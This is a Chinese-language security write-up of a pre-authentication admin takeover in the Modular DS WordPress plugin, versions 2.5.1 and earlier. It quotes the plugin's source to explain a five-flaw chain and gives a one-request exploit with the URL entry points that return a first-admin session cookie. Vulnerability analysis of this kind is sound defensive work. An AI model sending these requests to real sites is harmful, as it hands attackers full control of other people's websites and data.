██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
根本原因分析 · 源码解读 · 补丁差异 · 教育性 PoC
作者: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) 是一款用于管理 WordPress 网站的插件,拥有 超过 40,000 个活跃安装。版本 ≤ 2.5.1 中存在一条由五个缺陷串联而成的漏洞链,允许 任意未认证攻击者 绕过身份验证,调用插件内部登录接口,并收到 第一个管理员账户 的wordpress_logged_in_*会话 cookie —— 只需 一次 HTTP GET 请求。
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
结果: 完全接管管理员账户。攻击者可安装恶意插件、上传 webshell、创建备用管理员账号、窃取数据库。
| 字段 | 值 |
|---|---|
| 插件名称 | Modular DS |
| Slug | modular-connector |
| 受影响版本 | <= 2.5.1 |
| 已修补版本 | 2.5.2 |
| 活跃安装量 | ~40,000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — 身份验证与授权失败 |
该漏洞触发的是插件中嵌入的 自定义 Laravel 路由解析器。该插件自带一个 HTTP 内核 (Ares/Framework),它挂钩 WordPress 的 parse_request 操作,在 WordPress 自身路由接管之前 劫持请求。
前置条件: 无(插件已安装并激活,且连接了 Modular SaaS —— 所有活跃安装的默认状态)。
入口点(任意一个即可):
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
该漏洞并非单一缺陷,而是 由五个缺陷串联而成的漏洞链。每个层面孤立来看似乎都有防御力;但组合起来,它们便崩塌为一次预认证的管理员接管。
flowchart TB
A["🌐 攻击者请求<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>仅凭查询参数即可开启大门"]
B --> C["② Router::findRoute()<br/>URL 被隐式解析为 /login 路由"]
C --> D["③ bindOldRoutes() 过滤器<br/>未知 type 时直接通过"]
D --> E["④ ModularGuard::check()<br/>验证服务器端 OAuth 状态,而非请求本身"]
E --> F["⑤ AuthController::getLogin()<br/>回退到第一个管理员用户"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>攻击者 = 管理员"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | 层面 | 文件 | 根本问题 |
|---|---|---|---|
| ① | 启动门 | HttpUtils.php:64 | 仅检查 origin=mo 查询参数,无加密/随机数 |
| ② | URL→路由匹配 | Router.php:20 | 隐式 URL 解析后直接进入过滤器 |
| ③ | 路由覆盖过滤器 | RouteServiceProvider.php:46 | 未知 type 直接通过,保留原始路由 |
| ④ | 认证守卫 | ModularGuard.php:16 | 验证服务器端 OAuth 状态,而非请求身份 |
| ⑤ | 登录控制器 | AuthController.php:66 | 输入缺失时静默回退到 getAdminUser() |
HttpUtils::isDirectRequest()文件: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ 仅凭查询参数,无签名
}
return false;
}
问题: “直接请求”模式 —— 本意是识别来自 Modular SaaS 后端的合法请求 —— 却仅靠 明文查询参数 来判定,没有 HMAC、没有 JWT、没有签名随机数、没有 IP 白名单。任何攻击者都可以轻易触发此开关。
Router::findRoute()文件: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ 在安全过滤器运行前,URL 已被解析为路由
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
问题: Laravel 的 routes->match($request) 会将 /api/modular-connector/login/xxx 解析为 login 路由(受认证守卫保护)早于安全过滤器执行。过滤器接收到的这个路由作为输入,因此它必须证明该路由非法,而非主动授权。
bindOldRoutes()文件: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* 通过签名 OAuth 调用重新绑定 */ }
if ($type === 'oauth') { /* 重新绑定到 /oauth 处理器 */ }
if ($type === 'lb') { /* 重新绑定到 /schedule/run */ }
return $route; // ⚠️ 未知 type → 保留 URL 解析出的路由不变
}
问题: 过滤器仅在 type 为三个已知值之一时才覆盖路由。当 type 为任意值(x、foo、空)时,它会穿透并返回未修改的 URL 解析路由。而由 URL 驱动的 login 路由(理论上受认证守卫保护)便进入中间件评估。
ModularGuard::check()文件: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ 检查服务器状态
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
问题: 自定义的 modular 守卫 完全未验证传入请求的身份。它只检查插件本身是否仍持有与 Modular SaaS 的有效 OAuth 会话。由于几乎所有安装都已连接(否则插件毫无用处),因此守卫对所有到达它的请求都返回 true。
这是关键缺陷。即使修复了缺陷 ①–③,单凭这个损坏的守卫,也足以让 auth 中间件组中的每个路由都被未经授权地访问。
AuthController::getLogin()文件: src/app/Http/Controllers/AuthController.php:66
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — 绑定从未被填充
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 站点的第一个管理员
}
$cookies = ServerSetup::loginAs($user, true); // 💣 发放 WP 会话 cookie
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
问题: SiteRequest 路由-模型绑定仅在过滤器链中 type === 'request' 时才会被填充。对于未知的 type,$modularRequest 以一个空对象到达控制器。随后,控制器静默地 回退到第一个管理员用户 并签发 WordPress 登录 cookie。任何人都可以从前门走进来。